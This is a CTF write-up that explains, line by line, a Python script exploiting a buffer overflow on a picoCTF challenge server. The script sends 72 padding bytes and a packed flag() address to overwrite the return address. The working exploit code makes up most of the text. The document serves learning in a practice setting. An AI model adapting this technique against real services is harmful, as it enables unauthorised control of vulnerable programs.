```
import socket
import struct
```

- **Imports the necessary modules:**
  - `socket`: To create a network connection to the remote service.
  - `struct`: To pack the address in a format compatible with a 64-bit system.

```
host = 'saturn.picoctf.net'
port = 60688
```

- **Defines the host and port:**
  - `host`: The remote server address where the challenge is hosted.
  - `port`: The specific port on the remote server to connect to.

```
offset = 72
flag_address = 0x40123B
```

- **Defines the key variables:**
  - `offset`: The number of bytes required to reach the return address (RIP).
  - `flag_address`: The memory address of the `flag()` function we want to call.

```
def send_payload(rip):
```

- **Defines a function** `send_payload()` that takes the `rip` (return instruction pointer) as an argument.

```
    payload = b"A" * offset + struct.pack("<Q", rip) + b"\n"
```

- **Creates the exploit payload:**
  - Fills the buffer with `A` characters to reach the return address.
  - Appends the packed (little-endian) address of the `flag()` function.

```
    with socket.socket() as connection:
```

- **Creates a socket connection:**
  - Opens a TCP connection to the remote host.

```
        connection.connect((host, port))
```

- **Connects to the remote service** using the host and port defined earlier.

```
        print(connection.recv(4096).decode("utf-8"))
```

- **Receives and prints the initial response** from the server to verify the connection.

```
        connection.send(payload)
```

- **Sends the crafted payload** to the remote service to trigger the buffer overflow.

```
        response = connection.recv(4096).decode("utf-8")
```

- **Receives the response** from the server after sending the payload.

```
        print(response)
        return response
```

- **Prints the server's response** and returns it for further processing.

```
response = send_payload(flag_address)
```

- **Calls the `send_payload()` function** with the `flag_address` to execute the overflow exploit.

```
if "dubz{" in response:
```

- **Checks if the response contains the flag format**, which starts with "dubz{".
- **Note: When testing locally I use => dubz{^_^}, or my handle dubz.**

```
    print(f"Flag found: {response}")
else:
    print("No flag found with this address.")
```

- **Prints the result:**
  - If the flag is found, it prints the flag.
  - Otherwise, it notifies that the flag was not found with the given address.